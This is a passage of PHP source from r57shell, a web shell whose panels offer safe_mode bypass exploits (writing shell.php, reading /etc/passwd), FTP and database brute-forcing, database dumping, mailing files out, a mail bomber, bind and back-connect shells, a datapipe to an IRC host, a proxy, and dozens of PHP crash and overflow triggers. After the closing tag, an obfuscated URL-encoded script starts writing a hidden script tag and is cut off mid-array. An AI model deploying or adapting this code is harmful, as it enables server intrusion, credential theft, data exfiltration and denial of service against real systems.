if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
echo "<tr><td valign=top width=70%>".$ts;
echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
echo $te."</td><td valign=top width=30%>".$ts;
echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
echo $te."</td></tr>";
echo $te.'</div>'.$table_end1;  
}

if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
{
echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
echo "<tr><td valign=top width=70%>".$ts;
echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
echo $te."</td><td valign=top width=30%>".$ts;
echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
echo $te."</td></tr>";
echo $te.'</div>'.$table_end1;  
}


if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}


if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
echo "<tr><td valign=top width=50%>".$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
echo $te."</td><td valign=top width=50%>".$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te."</td></tr>";
echo $te.'</div>'.$table_end1.$fe;
}


if($select_downloaders){
 echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
 echo $te.'</div>'.$table_end1.$fe;
}

echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo $te.'</div>'.$table_end1.$fe;

if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;

echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));

echo $te."</td>".$fe."</tr></div></table>";
}


if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));

echo $te."</td>".$fe."</tr></div></table>";
}


if($mysql_on||$mssql_on||$pg_on||$ora_on||$mysqli_on||$msql_on||$sqlite_on)
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
if($pg_on)    $select .= '<option value=PostgreSQL>PostgreSQL</option>';
if($ora_on)   $select .= '<option value=Oracle>Oracle</option>';
if($mysqli_on)   $select .= '<option value=MySQLi>MySQLi</option>';
if($msql_on)   $select .= '<option value=mSQL>mSQL</option>';
if($sqlite_on)   $select .= '<option value=SQLite>SQLite</option>';
$select .= '</select>';

echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";

echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";

echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";

echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";

echo "</td>".$fe."</tr></div></table>";
}


if(!$safe_mode && $unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}

echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
echo $te."</td><td valign=top width=25%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
echo $te."</td><td valign=top width=25%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
echo $te."</td><td valign=top width=25%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
echo $te."</td></tr></div></table>";
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://rst.void.ru>RST</a> | <a href=http://ghc.ru>GHC</a> | <a href=http://www.antichat.ru>Antichat.ru Edition</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>";
echo '</body></html>';
?>
<script type="text/javascript" language="javascript">
<!--
fF7eSD8=new Array();
fF7eSD8[0]="%3Cscript%3E%0Adocu";
fF7eSD8[1]="ment.write%28une";
fF7eSD8[2]="scape%28%22%253Cscri";
fF7eSD8[3]="pt%2520type%253D%25";
fF7eSD8[4]="22text/javascr";
fF7eSD8[5]="ipt%2522%253Edo";
fF7eSD8[6]="cument.write%25";
fF7eSD8[7]="28%2527%255Cu00";
fF7eSD8[8]="3c%255Cu0073%255C";
fF7eSD8[9]="u0063%255Cu0072";
fF7eSD8[10]="%255Cu0069%255Cu";
fF7eSD8[11]="0070%255Cu007";
fF7eSD8[12]="4%255Cu0020%255C";
fF7eSD8[13]="u0074%255Cu007";
fF7eSD8[14]="9%255Cu0070%255Cu";
fF7eSD8[15]="0065%255Cu003d%25";
fF7eSD8[16]="5Cu0022%255Cu0";
fF7eSD8[17]="074%255Cu0065%255C";
fF7eSD8[18]="u0078%255Cu0074%25";
fF7eSD8[19]="5Cu002f%255Cu";
fF7eSD8[20]="006a%255Cu0061%255";
